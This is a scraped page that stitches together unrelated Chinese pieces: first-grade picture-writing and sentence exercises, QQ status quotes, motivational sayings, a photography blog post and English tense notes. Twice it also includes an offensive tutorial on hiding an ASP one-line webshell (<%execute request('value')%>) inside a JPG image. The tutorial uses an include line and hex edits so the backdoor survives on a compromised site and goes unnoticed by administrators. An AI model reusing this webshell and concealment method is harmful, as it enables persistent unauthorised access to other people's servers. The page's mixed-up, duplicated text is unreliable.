46句图话
?即使不开心也不要皱眉， ...
?快乐最重要，谁人、何物、何事使...
?即使是在热恋中也不要每天用男朋...
?不要抢朋友的男朋友， ...
?即使输掉了一切， ...
?钱很重要，但不能依靠男人或父母...
?其实男生和女生之间是可以有纯洁...
?学会宽容伤害自己的人， ...
?看穿但不说穿。很多事情， ...
?不管你的条件有多差，总会有个...
?他可以不是最好的， ...
?抓住男人的不二法门， ...
?没有十全十美的东西，没有十全十...
?在不违背原则的情况下， ...
?当你说离开是为了不让对方受到伤...
?不要总是去挑剔别人，既然你当初...
?对自己好一点，心情不好的时候，...
?要有自己对未来的设想和目标， ...
?当有男生随意伤害你时，保持淡定...
?走路抬头挺胸，遇见不想招呼的人...
?不要太高估自己在集体中的力量，...
?先要学会自爱， ...
?不要和朋友或亲人共事， ...
?不要去践踏自己的尊严。 ...
?自己不喜欢的人， ...
?自己分内的事情， ...
?不要把时间浪费在上网和看偶像剧...
?重要的是，爱你的家人， ...
?不要老在别人面前倾诉你的困境袒...
?生活坏到一定程度就会好起来， ...
?相信他说的话，但不要当真…… ...
?既然牵手，就不要轻易放开。每个...
?请记得，好朋友的定义是： ...
?不要做刺猬能不与人结仇就不与...
?不要停止学习。不管学习什么，语...
?做了善事未必有好报，吃亏的往往...
?不要为了男生伤害女生， ...
?有人试图和你无理取闹， ...
?对人性的弱点有清醒的认识， ...
?一定一定不伤害爱我的人和我爱的...
?你没那么多观众， ...
?爱情就像乘法，其中一项为零， ...
?遇到不想回答的问题， ...
?爱笑的女孩子， ...
?说话时可以很直接， ...
有人向你索取东西，微笑着望向他...
一年级看图写一句话
都dōu 有yǒu 谁shuí，在zài 做zu? 什sh?n 么me ，会huì 说shuō什sh?n 么me ？ 奶nǎi 奶nǎi 再zài 给gěi 我wǒ 洗xǐ 衣yī 服fú，好hǎo 辛xīn 苦kǔ 啊ā！我wǒ 给gěi 奶nǎi 奶nǎi 倒dǎo 了le 一yī 杯bēi 水shuǐ：“奶nǎi 奶nǎi ，您nín 辛xīn 苦kǔ 了le ！” 都dōu 有yǒu 谁shuí，在zài 做zu? 什sh?n 么me 。 星xīng 期qī 天tiān ，爸ba 爸ba 带dài 我wǒ 去qù 小xiǎo 河h? 边biān 画huà 画huà。河h? 里lǐ 还hái 有yǒu 好hǎo 多duō 小xiǎo 鱼yú 呢nē ！ 有yǒu 谁shuí，发fā 生shēng 了le 什sh?n 么me ，怎zěn 么me 做zu? 的de 。 放fàng 学xu? 了le ，下xià 起qǐ 了le 小xiǎo 雨yǔ。小xiǎo 刚gāng 忘wàng 记jì 带dài 雨yǔ 伞sǎn 了le ，就jiù 和h? 小xiǎo 梅m?i 一yī 起qǐ 打dǎ 着zhe 伞sǎn 回huí家jiā
什sh?n 么me 时shí 间jiān ，有yǒu 谁shuí，他tā 们m?n 在zài 做zu? 什sh?n 么me ？ 早zǎo 上shàng ，小xiǎo 马mǎ 和h? 小xiǎo 兰lán 来lái 到dào 公gōng 园yuán ，在zài 大dà 树shù 下xià 面miàn 做zu? 起qǐ 了le 早zǎo 操cāo ！ 都dōu 有yǒu 谁shuí ，在zài 做zu?什sh?n 么me ，他tā 们m?n 说shuō 了le 什sh?n 么me 。 小xiǎo 熊xi?ng 准zhǔn 备bai 过gu? 桥qiáo ，他tā 很hěn 害hài 怕pà ，小xiǎo 鱼yú 儿?r 鼓gǔ 励lì 它tā：“放fàng 心xīn ，大dà 胆dǎn 走zǒu ！”小xiǎo 鸟niǎo 也yě说shuō：“别bi? 害hài 怕pà。”小xiǎo 熊xi?ng 终zhōng 于yú 走zǒu 过gu? 了le 小xiǎo 桥qiáo 。 什sh?n 么me 时shí 间jiān ，有yǒu 谁shuí，他tā 们m?n 在zài 做zu? 什sh?n 么me ？ zhōng wǔdàtài yáng sǎi d?hǎo ralǎo y?y?zài dàshùxiàyōu xián dìch?ng liáng
bkhciAAA小学一年级语文写作——一句话练习
b k h c i A A A小学一年级语文写作——一句 话练习 -CAL-FENGHAI-(2020YEAR-YICAI)_JINGBIAN
一年级如何写一句完整的话 写话练习1：谁→干什么 一句话，也就是一个句子，应该有头有尾。头，就是要写出是谁或什么；尾，就是要写出干什么或怎么样。如：“明明在教室里画画”这个句子，写得是谁，是“明明”（明明是句子的头）。明明干什么？“在教室里画画。”（“在教室里画画”是句子的尾巴。）我在公园里读书。 小羊在山坡上吃草。 小鱼在水里游泳。 爸爸坐在沙发上看报纸。 妈妈在厨房里做饭。 1．下面的句子没有尾巴，请你补充完整 爷爷_________________。娜娜_________________。 老师_________________。小红_________________。 妈妈_________________。 2．下面的句子没有头，请你补充完整。 ________在小家里洗衣服。________在教室里写作业。 ________在客厅里看电视。________在操场上打篮球。 ________在厨房里做饭。 写话练习2：什么→是什么样 一句要表达一个完整的意思。要写出什么是什么样的。“茶是热的”这句话，“茶”就是句子的头，这一句话写的是什么，是茶；茶是什么样的（是热的），“是热的”就是句子的尾。 西瓜是圆的。 月季花儿是红色的。 文具盒是长方形的。 月亮是圆的。 自行车是崭新的。 巧克力是甜甜的。 1．下面的句子没有头，请你补充完整。
______________是长方形的。_______________是绿色的。 ______________是粉红色的。________________是甜的。 ________________________ 是悦耳动听的。 2．下面的句子没有尾巴，请你补充完整。 天上的太阳是____________。水里的小鱼是___________。 我的文具盒是_____________。张亮的书包是____________。 娜娜的脸蛋儿是___________。爷爷胡子是________________。 写话练习3：我……，也……。 要求我们在一句话中写出一个人爱（或喜欢）的两方面。比如：“妈妈爱看电视，也爱唱歌”这句话，“妈妈爱看电视”是一方面，“爱唱歌”是另一方面。这两方面的内容用一个“也”字连起来，形成了一句话。 我爱爸爸，也爱妈妈。 我喜欢唱歌，也喜欢跳舞。 我爱读书，也爱画画。 爸爸爱打球，也爱唱歌。 奶奶爱听戏，也爱唱戏。 我喜欢吃橘子，也喜欢吃苹果。 我喜欢打乒乓球，也喜欢踢足球。 （1）我爱________________，也爱________________。 （2）我________________________，也________________。 （3）小明讨厌________，也________________。 （4）________________________________。 （5）________________________________。 写话练习4：……有…… 举例子：我有一个文具盒。 要求我们在一句话中写出一个人（或一个地方）有什么物或事。比如：“我家里有电视机”这句话，“我”是句子的头，“电视机”是句子的尾。这两方面的内容用一个“有”字连起来，形成了一句话。要指导学生联系生活体验来写。
一句话木马图片制作(三种方法)
图片木马制作的三种方法Copy命令制作 1.asp内容： 打开cmd，数据一下命令：
此时打开两个jpg文件，相比： 且打开可以像一样显示图像。 把以下代码放入目标网站，即可按asp执行。<% #include files=””%> Uedit32（转载）：
本制作来自于：雪糕。 我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误： Microsoft VBScript 运行时错误错误 '800a000d' 类型不匹配: 'execute' /news1/，行 3 所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码： 这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。 制作步骤： 一、前期准备 材料： 1.一张图片：
2.一句话木马服务器端代码： <%execute request("value")%>（其他的一句话也行） 3.一句Script标签： 4. 调用图片后门代码： 工具：UltraEdit
一年级-看图写话多幅图
课题单图看图说话 教学过程 指导看图讲解 培养观察力看图写话，看图是基础，但是一年级学生还缺乏观察能力，特别是刚入学的孩子，观察事物无目的、无顺序。这就要求我们要在指导看图上下功夫，让学生掌握看图的方法，通过仔细看图，判断事物发生的时间、地点、了解画面所反映的主要内容。指导学生看图时先从整体入手，初步感知图画的主要内容，即弄清时间、地点、什么人在干什么 1、仔细观察，判定时间。时间的判定需要学生把图片内容提示与生活经验相结合，综合分析。 要想判定图片的时间，需要让学生首先明确什么图像能代表时间，这要有一个生活的积累。举例说明：图片上的孩子躺在床上睡着了，孩子们自然想到时间是晚上；遍地的积雪，打雪仗的孩子可以反馈给我们冬日的信息。特殊的时间可以从图片的提示加以具体判断。 2、地点和人物的观察。地点的发现一般来讲比较直观甚至一目了然，地点判断也得建立在社会 生活基础上，特殊的地点判断也要求孩子多方考虑，再下定论。在时间地点基本得到明确后就要观察人物了，这是观察重点。人物身份的观察可从年龄、衣着、动作、行为等方面统一考虑，喜、怒、哀、乐的表现能一目了然，人物的外在表现与周围环境只要结合起来统一考虑。 3、事情的观察分析。图上的人物动作，表情一般能比较直观反映出画面人物在做什么？在怎样 做？在事情的观察上需要孩子们有极大想像空间，叙事要完整有连续性和必然性，从最初的训练出发要培养学生写完整话的习惯。这对他们表达能力的提高有着重要意义。在比较准确地全面地观察画面以后，要进一步培养他们有步骤地、按一定顺序来观察画面的能力。就顺序来说：在低年级指的是主次顺序和方位顺序。方位顺序指的就是高低、左右、前后、里外四组。注意从画面中人物的形体、相貌、服饰等，从人物的表情、动作，推测人物的思想，以及他在干什么，想什么。
qq个性说说一句话带图片
qq个性说说一句话带图片 1、第一次见面的人，彼此因为太过陌生，交谈之间，多多少少都会有所伪装与保留，甚至表现出与本身个性完全相反的一面。所以说，不是第一次见面交谈甚欢，就适合深交，也并不是第一次谈话找不到共同主题，就不适合进一步发展成朋友或恋人。 2、晒过的被子、燃烧的烟花、海边的潮湿、报纸的油墨、雨后的泥土、运动后的体味……什么是你最喜欢的味道？ 3、【你长这么大，还有哪些事情没有尝试过？】1.通宵上网；
2.KTV唱到半夜或通宵； 3.通宵打牌； 4.纹身； 5.打架； 6.染发； 7.献血； 8.和父母顶嘴； 9.和心爱的人一起旅游；10.公开场合和心爱的人Kiss；11.失恋一两次；12.喝酒喝吐了；13.做饭；14.离家出走； 15.会网友…… 4、人之所以会烦恼，就是记性太好，记住了那些不该记住的东西。老想回到过去美好时光的此刻，就是将来想要回到的美好时光，记住快乐忘记悲伤，去寻找做些有意思的事情吧，向着美好前进！ 5、有的人来到你身边，是告诉你什么是真情；有的人，是告诉你什么是假意；就像有的人来到你身边是为了给你温暖，有的人是为了使你心寒。这一切都是生命的礼物，无论你喜欢与否也要接受，然后学着明白它们的意义。
6、当一只玻璃杯中装满牛奶的时候，人们会说“这是牛奶”；当改装菜油的时候，人们会说“这是菜油”。只有当杯子空置时，人们才看到杯子，说“这是一只杯子”。同样，当我们心中装满成见、财富、权势的时候，就已经不是自己了；人往往热衷拥有很多，却往往难以真正的拥有自己。 7、我会努力，努力的做好自己，但我一样还是当年那个我，只是事情愈来愈多，责任愈来愈重，但一样我只有24小时，我也只有一双手两条腿和一颗心，我也希望有三头六臂，但是我没有，所以，我还是会用认真的方式前行，如果可以也稍微多给我些体谅和一些小贴心可以吗？
看图写话多幅图
看图写话多幅图
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.什么是多幅图? 用几个连续的画面来表现事物的发生、发展和结局就是多幅图。 观察多幅图的步骤： 第一步，大致看一遍,找出整体内容。如这四幅图是啄木鸟给树治病。 第二步,仔细观察每幅图的内容，找出时间、地点。这几幅图地点显然是在树林里。 第三步，几幅图连起来看,注意前后变化。第一幅图，树伯伯生病了,第二幅图是啄木鸟为树伯伯治病,第三幅图治完病,第四幅图，树伯伯的病好了,笑了起来。 第四步,想一想这几幅图表达的共同中心，这几幅图的中心是赞扬啄木鸟的医术高明,勤勤恳恳。 第五步，给文章起名字,根据画面内容和中心进行合理想象。 完成了这些步骤就可以动笔写了。 写作方法是： 首先注意重点,根据中心找出主要内容和次要内容。比如啄木鸟这幅图重点是啄木鸟勤勤恳恳,医术高明，要展开自己的联想具体仔细的描写第二幅图，其他三幅图就可以略写了。 其次注意段与段之间的连贯自然。比如描写这幅图，可用“一天”“过了几天”“又过了一些日子”等词语联系起来。 总之看多幅图作文就要先看懂图画，认真思考分析，再按照事情发生的顺序有条理的叙述。1、请小朋友认真观察图，然后以日记的形式把你看到的写下来。
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一句话讲摄影
一句话讲摄影 摄影的产品和价值(2013-07-02 13:46:03)转载▼ 标签：摄影产品价值分类：发发牢骚 在大家的印象里，实物才有成本，有价值。买鞋，买衣服，买日用百货，付钱拿货，天经地义。 对于这种无实物的东西总觉得不值钱，有啥成本啊？ 买一款软件，一个纸盒装着一张光盘，你会考虑的是一个盒子加上一张盘才几毛钱啊，而不会考虑光盘里软件的价值。请问你要用的是光盘这片塑料还是光盘里的数据内容？（这也是天朝盗版泛滥的原因之一） 设计师给设计个标志，做好打印出来，你会考虑的是一张A4的纸加上点墨水才几毛钱啊，而不会考虑设计师设计的价值。请问你要用的是这张打印纸还是纸上设计的标志？ 摄影师给拍出照片，拿个U盘就能全部拷走，你会考虑的是这下连刻张光盘的几毛钱都省了，而不会考虑摄影师拍摄的价值。请问你要用的是U盘还是U盘里面的照片？ 上面举的这些例子都是手艺活，价值体现在无形之中。 想起了朋友说的的一件事情：家里菜刀不中用了，楼下正好来了位老大爷磨剪子和菜刀，就拿了三把菜刀下来磨，问三把能不能便宜点，大爷说，别跟我们手艺人讲价，我们吃这碗饭不容易，真心实意做好了你们用的好用比啥都强！ 大爷说的话真是感同身受。就说摄影师，是通过不断的学习实践，不断的积累才有了拍出漂亮照片的能力，体现在每一张照片中。现在也有磨刀器，也能在家自己磨刀，但是就是没有大爷磨的好，这就是大爷的价值。相机也是家家有，也能自己拍照片，但是拍出来就是没有摄影师拍的好，这就是摄影师的价值。 太多的人不懂得尊重这种价值。如果你去商场拿上一件衣服，给人家说一声：我拿走了啊~人家肯定报警，你是强盗啊？但是如果你拍完照片，拿个U盘，给摄影师说一声：我拷走了啊~丝毫没有罪恶感。衣服是产品，你拿着U盘轻轻松松拷走的也正是摄影师的产品啊！ 说到这，需要真正搞清楚摄影的产品到底是什么？很多人认为就是冲洗出来的X寸的相片，做出来的相册相框海报，错！！！摄影的产品就是摄影师拍出来的储存在内存卡上的这些图片数据。有了这些数据，拿出去也可以做出相册相框海报，而不一定用摄影师做。但是这些图片数据只有摄影师能提供！ 这行一开始就跑偏了，影楼跟顾客介绍的是这个价位给做的相册什么样，有多大，有多少，能多送些什么东西，所以大家都错误的认为相册相框才是摄影的产品，其实这些都是摄影的副产品。没有照片本身，根本不会有这些，就像没有鞋子就不会有鞋垫一样！ 有感与此，希望大家都能正确认识摄影的产品和摄影师的价值，并且尊重它们！ 摄影原理：把光线汇聚到感光元件上形成照片。
看图写话多幅图
.什么是多幅图？ 用几个连续的画面来表现事物的发生、发展和结局就是多幅图。 观察多幅图的步骤： 第一步，大致看一遍，找出整体内容。如这四幅图是啄木鸟给树治病。 第二步，仔细观察每幅图的内容，找出时间、地点。这几幅图地点显然是在树林里。 第三步，几幅图连起来看，注意前后变化。第一幅图，树伯伯生病了，第二幅图是啄木鸟为树伯伯治病，第三幅图治完病，第四幅图，树伯伯的病好了，笑了起来。 第四步，想一想这几幅图表达的共同中心，这几幅图的中心是赞扬啄木鸟的医术高明，勤勤恳恳。 第五步，给文章起名字，根据画面内容和中心进行合理想象。 完成了这些步骤就可以动笔写了。 写作方法是： 首先注意重点，根据中心找出主要内容和次要内容。比如啄木鸟这幅图重点是啄木鸟勤勤恳恳，医术高明，要展开自己的联想具体仔细的描写第二幅图，其他三幅图就可以略写了。 其次注意段与段之间的连贯自然。比如描写这幅图，可用“一天”“过了几天”“又过了一些日子”等词语联系起来。 总之看多幅图作文就要先看懂图画，认真思考分析，再按照事情发生的顺序有条理的叙述。1、请小朋友认真观察图，然后以日记的形式把你看到的写下来。
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一句话的经典励志语录带图
一句话的经典励志语录带图 导读：我根据大家的需要整理了一份关于《一句话的经典励志语录带图》的内容，具体内容：经常在朋友空间看见一些很有哲理性的话，一些一句话经典励志语录，有时候想想还真的是那么回事，以下是我为你精心整理的一句话经典励志语录，希望你喜欢。一句话经典励志语录1... 经常在朋友空间看见一些很有哲理性的话，一些一句话经典励志语录，有时候想想还真的是那么回事，以下是我为你精心整理的一句话经典励志语录，希望你喜欢。 一句话经典励志语录 1) 只要一息尚存，我就要坚持到底，因为我已明白成功的一大法则：坚持到底，就是胜利。 2) 有竞争，就必然有压力。只要你选择活着，就注定要承受生存所带来的各种各样的压力，可是我们只有勇于正视压力，承受压力，才能在日趋激烈乃至残酷的生存竞争中，永远立于不败之地。不管发生什么，都不要放弃，坚持走下去，肯定会有意想不到的风景。 3) 拼，困难向咱们低头;再拼，成功向咱们招手。 4) 人就活一次，酸甜苦辣咱得笑着。 5) 从绝望中寻找希望，人生终将辉煌! 6) 别再自己摸索，问路才不会迷路。 7) 一个人，若思想通透了，行事就会通达，内心就会通泰，有欲而不执著于欲，有求而不拘泥于求，活得洒脱，活得自在。活得平和的人，心
底踏实安详，云过天更蓝，船行水更幽。岁月是贼，总是不经意地偷去许多，美好的容颜，真实的情感，幸福的生活。生活需要游戏，但不能游戏人生。 8) 我们必须先学会承受，再学会参与。承受是需要阅历和沉实的，参与也有需要勇气和激情。生活就是在热情与平淡中慢慢的磨合的。 9) 无论是谁，都有自己的限度。特别是信任。 10) 当你再也没有什么可以失去的时候，就是你开始得到的时候。 一句话励志语录 1) 路的尽头，仍然是路，只要你愿意走。 2) 只有努力一把，才知道自己是废物还是人物。 3) 从不奢求生活能给予我最好的，只是执着于寻求最适合我的! 4) 乐学实学，挑战高考;勤勉向上，成就自我。 5) 要勇敢要坚强。人生不如意之事十之八九，就当那些，是生命中遇见的一道坎吧，翻过去，依然可以平常的生活，那个人，不喜欢又能如何?一起走过的岁月，一句话怎么可能全部抹杀，所谓平常心，是在受伤的时候，也能微笑浅浅的说，有什么大不了的呢?我会更努力的活着。 6) 同样的瓶子，你为什么要装毒药呢?同样的心理，你为什么要充满着烦恼呢? 7) 如果哪天，我可以越过你的微笑，忘却一切温暖的拥抱，这样，会不会，能有彼此幸福的可能? 8) 老虎不发威他就一只病猫!发威了他就是王者!所以人人都可以是王者但同时也可能是病猫，关键在于你自己的选折!
多幅图看图写话
多幅图看图写话——自己的事情自己做 学习目标： 1、仔细看图，能够准确说出、写出图意。 2、学会围绕主题说话，表达有详有略；会运用“过渡、点题”的写作方法。达标教学： 一、引言导课：同学们，我们已经了解了许多看图写话的知识，单幅图写话和多幅图写话。那么，今天，我们要学习的看图写话有什么不同呢？————出示图画。（学生说出不同，少一幅图；师补充，这是补图说话。） 二、出示目标。 三、围绕目标教学过程。 1、几幅图、几个段（手势）。 2、看大意、起题目。（在学生讨论的基础上，给出题目：自己的事情自己做） 审题：读，哪个词是重点，强调了什么？自己的事情自己做，是一种好习惯，好品质，要从小培养，自觉养成。做到这一点，是将来走向社会，能够自立、独立的基础。那么，图中的小女孩子是怎么做的呢？ 3、补图说、有重点。 引导：补图说话，不能平均用力，你认为哪个图是重点？那么，其它的图，我们可以用一两句准确的语句来概括写。 4、看小图、准、顺、活。（用词准确、说得通顺，重点部分，让人物动起来，有动作、语言、神态、心理等） 第一幅：晚上，小红照例（和往常一样）打水洗脚。（自己的事情自己做，已经有了好习惯。） 图之间、有过渡：
第二幅：这时，奶奶走过来拿起袜子要去洗，小红摆摆手说：“奶奶，您歇着吧，我自己洗。”（要突出小红这个人，奶奶的语言动作可以省略。强调：要自己洗）第三幅：接着，小红起身换水，把袜子放入盆中浸湿，再拿起来打上肥皂，开始揉搓，肥皂泡由白变灰变黑……小红把袜子用清水投干净，拧干，晾起来。 注：小组讨论“洗”的过程，派一名代表说，倾听，质疑、补充。 在头尾，要点题： 奶奶看见了，微笑着说：“自己的事情自己做，红红真棒”。红红笑得和花一样。 注：每人复述一遍，两人一组。 写完自查。读评。 结尾：在我们的生活中，我们因为住在学校，所以许多孩子都能做到自己的事情自己做，已经养成了好习惯。谁做到了这一点？——真棒！
两句话合成一句话
两句话合成一句话 要合并的两句话的话题必须是相同的. 方法： （1）先读懂每句话的意思（2）可省略第二句的主语(3）把第一句的句号改为逗号，连起来,两句话就合成一句话了. 例如： 1.明明背着手风琴。—-——明明去参加小组活动. 2。小林拎着水筒。——--小林到楼下打水. 3.乡村的景色真美。————乡村的景色我一直忘不了。 4。月亮慢慢升到空中。————月亮放出柔和的银光. 写话练习1：写动作变化 举例子：我把苹果洗好了。我把苹果放在盘子里 我把苹果洗好了放在盘子里。 写话指导:写两句话，一句话写一个动作，然后把两句话连起来说. 太阳升起来. 太阳发出耀眼的光芒。 太阳升起来后发出耀眼的光芒。 小燕子飞到屋檐下。小燕子垒窝. 小燕子飞到屋檐下垒窝. 奶奶戴上老花镜。奶奶看报纸. 奶奶戴上老花镜看报纸。 加上适当的关联词，两句话变一句话
例： 1、王老师年近六十。王老师精力还很旺盛 . -—-—王老师虽然年近六十,但精力还很旺盛。 2、小红文化课成绩好。小红体育成绩也很优秀。 ——-- 小红不但文化课成绩好，体育成绩也很优秀。 练习 一、加上适当的关联词，把两句话合成一句话。 1。妈妈耐心教育我。我进步很快。 2.他自己学习成绩很好.他热心帮助学习上有困难的同学。 3。你长期坚持体育锻炼。你的身体会强壮。 4.明天老师生病不来。明天我们照样上课。 5.草原的景色叫人惊叹。草原的景色叫人舒服。 答案: 1.【因为】妈妈耐心教育我，【所以】我进步很快。 2.他【不但】自己学习成绩很好，【而且】热心帮助学习上有困难的同学。 3。【只要】你长期坚持体育锻炼，你的身体【就】会强壮。 4.【虽然】明天老师生病不来,【但是】我们照样上课。 5.草原的景色【既】叫人惊叹，【又】叫人舒服。 6、我们坚持植树造林.我们使这个地方变成了绿色公园。 因为我们坚持植树造林，所以使这个地方变成了绿色公园. 二、用恰当的关联词语，把下面两句话连成一句话
带图片一句话早安心语说说
带图片一句话早安心语说说 三观不合真的很难做朋友，因为思想经历感官，全都不一样，就像我说大海很漂亮，你却说淹死过很多人。 “据说人悲伤的极限是5天，当你决定不再在乎的时候，生活就好起来了，做好你自己，该吃吃，该睡睡，爱谁谁。” 遇见你，以为你是人生;错过你，以为你是过客。我待你，呵护如同家人，而你却，不珍惜轻别离。 人生看似要面临很多选择，分岔路，独木桥，其实即使你选择了之后，你会发现我们仍会被逼到人生的角落，很多人仍将错过，很多事没有结果，感情也是一错再错，很多承诺只剩如果，只不过，你已习惯了不再闪躲，面对生活，不再患得患失，冷静沉默，一切如昨
活得糊涂的人容易幸福，活得太清醒的人容易烦恼。清醒的人看得太真切，凡事太过较真，烦恼无处不在;糊涂的人不知如何计较，虽简单粗糙，却觅得人生的大境界。人们喜欢仰慕着他人的幸福，一回首，却发现自己也被他人仰望着、羡慕着。只是，自己的幸福，常在他人眼里，却不在自己心中 有些人一见就喜欢，但一聊就讨厌。喜欢是因长得好看，讨厌是因为内涵。都说这是看脸的时代，我深不以为然。脸只能决定是否有原始性冲动，真正的喜欢一定是有认可的三观。见过无数极美的人，聊五分钟便不愿深谈，只嗯呃啊啊配合着对方的神侃，此所谓话不投机半句多，跟长相没半毛钱关系! 真实，是人生的最高境界。人生的欢乐来自我们的新体验，生活从来不会刻意亏欠谁，人生就是一种承受。时间是一个过客，记住了，遗忘了;生活是一个漏斗，得到了，失去了;迷惘是一种态度，放纵了，收敛了;生命是一种坦然，也哭了，也笑了 或浓或淡，一笔带过的，不是旧时的记忆，就是掩盖的心伤。那么，你的情，又在哪，伤又在哪呢?
看图写话多幅图(终审稿)
看图写话多幅图 文稿归稿存档编号：[KKUY-KKIO69-OTM243-OLUI129-G00I-FDQS58-
.什么是多幅图 用几个连续的画面来表现事物的发生、发展和结局就是多幅图。 观察多幅图的步骤： 第一步，大致看一遍，找出整体内容。如这四幅图是啄木鸟给树治病。 第二步，仔细观察每幅图的内容，找出时间、地点。这几幅图地点显然是在树林里。 第三步，几幅图连起来看，注意前后变化。第一幅图，树伯伯生病了，第二幅图是啄木鸟为树伯伯治病，第三幅图治完病，第四幅图，树伯伯的病好了，笑了起来。 第四步，想一想这几幅图表达的共同中心，这几幅图的中心是赞扬啄木鸟的医术高明，勤勤恳恳。 第五步，给文章起名字，根据画面内容和中心进行合理想象。 完成了这些步骤就可以动笔写了。 写作方法是： 首先注意重点，根据中心找出主要内容和次要内容。比如啄木鸟这幅图重点是啄木鸟勤勤恳恳，医术高明，要展开自己的联想具体仔细的描写第二幅图，其他三幅图就可以略写了。 其次注意段与段之间的连贯自然。比如描写这幅图，可用“一天”“过了几天”“又过了一些日子”等词语联系起来。
总之看多幅图作文就要先看懂图画，认真思考分析，再按照事情发生的顺序有条理的叙述。1、请小朋友认真观察图，然后以日记的形式把你看到的写下来。 _______________________________________________________________ _______________________________________________________________ _______________________________________________________________ _____________________ 2、看图续编故事。 一天放学后，李明走在回家的路上。这时， _______________________________________________________________ _______________________________________________________________ _______________________________________________________________ _____________________ 3、看图写一段话。 _______________________________________________________________ _______________________________________________________________ _______________________________________________________________ _____________________
一句话木马图片制作(三种方法)
图片木马制作的三种方法 Copy命令制作 1.asp内容： 打开cmd，数据一下命令： 此时打开两个jpg文件，相比： 且打开2.jpg可以像1.jpg一样显示图像。 把以下代码放入目标网站，即可按asp执行。 <% #include files=”2.jpg”%> Uedit32（转载）： 本制作来自于：雪糕。 我们通常在得到webshell之后都想给自己留个后门，等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时，在该页面上就会有类似如下的错误： Microsoft VBScript 运行时错误错误'800a000d' 类型不匹配: 'execute' /news1/show.asp，行 3 所以我们就可以开动脑筋了，使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话（希望网站中的文件可写），就直接把网站原有的图片变成后门，然后在那个asp文件中加入调用图片后门的代码： 这样就没有上面的“类型不匹配: 'execute'”错误了，而且也更好的隐藏了我们的后门。 新挑战始终会伴着新事物的出现而出现，当我们直接将我们的一句话木马的asp文件改成jpg 或gif文件的时候，这个图片文件是打不开的，这又容易被管理员发现。然后我们就又开始思考并寻找新的方法：制作可以显示图片内容的图片格式后门。 制作步骤： 一、前期准备 材料： 1.一张图片：1.jpg 2.一句话木马服务器端代码： <%execute request("value")%>（其他的一句话也行） 3.一句Script标签： 4. 调用图片后门代码： 工具：UltraEdit 二、开始制作： 1.使用UltraEdit打开1.jpg文件，然后按CTRL +F 进行查找图片中的“<%”和“%>” 其中<%的十六进制代码是3E 25，那么%>就应该是25 3E，但是我们只把25改成00；
单幅图和多幅图看图写话写作指导
单幅图和多幅图看图写话写作指导 单幅图和多幅图看图写话写作指导 怎样写好单幅图的看图作文 看图作文就是看图以后将画面的主要内容用文字表达出来。看图作文的图，又分单幅图和多幅图。单幅图看图作文就是将一幅图的内容用一句话或几句话以至一段话表达出来。那么，看图作文应该注意什么呢请看下面一例： 例1 放学以后，小蓝、小红、小楠在学校里做值日。 例2 一天下午，光明小学放学了。同学们排着队走出校门。一年级的小蓝、小红、小楠留在学校做值日。小蓝扫地，小红用簸箕撮土，小楠擦玻璃，他们干得可认真了。 【解答】 这是单幅图的看图作文。比较上面的两个例子，不难看出例1是用一句话概括了图的内容。例2是用几句话把这幅图的意思表达出来的。两例都仔细地观察了画面，理解和把握住了内容的中心是“做值日”。并了解了画面所表现的时间是“放学以后”，地点“在学校里”，有三个小学生在做值日，做到了通过观察，确定中心。观察要有一定的顺序，可从整体到部分，从上到下，也可由远及近，由里到外地观察，了解画面是什么时间，什么地点，什么人物在干什么事情，然后表达清楚。 除此之外，还要用文字准确、具体地表述清楚。同是一幅图，例1说明了什么时间、什么地点、谁干什么做到准确而又具体。例2在完成了例1的内容后，进一步仔细观察了画面的细节，对光明小学放学后的情况，对什么人，干什么，干得怎么样进行了具体的描写。 如例2小蓝扫地，小红撮土，小楠擦玻璃，他们 干得可认真了，把干什么写具体，写完一个人再写一个人。而且紧紧抓住了动作，描写得很准确，使我们感到比较具体。因此说，除了对画面进行整体观察，还要注意画面描写的细节，观察得越仔细，文章写得就越具体。
看图写句子根据下列每一幅图和所给的词(新)
.看图写句子根据下列每一幅图和所给的词，各写一句话。（所有词都必须用上） 1. a cup of tea, desk 2.mother, a teacher 3. brother, enjoy 4. child, now 1.___________________________________________________________________ 2____________________________________________________________________ 3____________________________________________________________________ 4_____________________________________________________________________ 5. be good at, piano 6.lemon,sour https://www.360docs.net/doc/9014297275.html,ed to 8.repair,often 5_____________________________________________________________ 6_____________________________________________________________ 7_____________________________________________________________ 8_____________________________________________________________ 9.spend,grandparent 10.Joe,stay up 11.Tom,everyday 12. .panda,cute 9._______________________________________________________ 10_______________________________________________________ 11._______________________________________________________ 12._______________________________________________________
一张图一句话看懂英语时态
现在进行时NOW 现在完成时现在完成进行时NOW NOW 过去进行时NOW 过去完成时过去完成进行时NOW NOW 将来进行时 NOW 将来完成时 将来完成进行时 NOW NOW 公式：I was doing 例子：I was making money at 10:00 yesterday 翻译：昨天10点我正在挣钱 表示：过去某一个时间正在发生的行为。 （过去时间，时间精确，行为包含该时间点。） 公式：I had done 例子：I had made ￥100 before yesterday 翻译：在昨天之前，我已经挣了100元 表示：过去某一个时间点之前已经发生，行为已经产生。 （不过时间，不包含过去那个时间点。） 公式：I had been doing 例子：I had been making money for two hours when my friend called me 翻译：当我朋友给我打电话的时候，我已经挣两个小时的钱了表示：过去某一个时间点之前，某一行为已经发生且持续进行。 公式：I am doing 例子：I am making money now 翻译：我现在正在挣钱 表示：当前正在发生的行为。 （现在时间，时间精确，行为包含该时间点。） 公式：I have done 例子：I have made ￥100 by now 翻译：我已经挣了100元表示：行为已经完成。 （现在时间之前，行为不包含当前时间点。） 公式：I have been doing 例子：I have been making money for two hours 翻译：我已经挣两个小时的钱了。 表示：行为已经发生其持续到现在还没有停止。 公式：I will be doing 例子：I will be making money at 10:00 tomorrow 翻译：明天10点我正在挣钱 表示：预测将来某一个时间点可能正在发生的行为。 （将来时间，时间精确，行为包含该时间点。） 公式：I will have done 例子：I will have made ￥100 by tomorrow 翻译：明天之前我要挣到100元 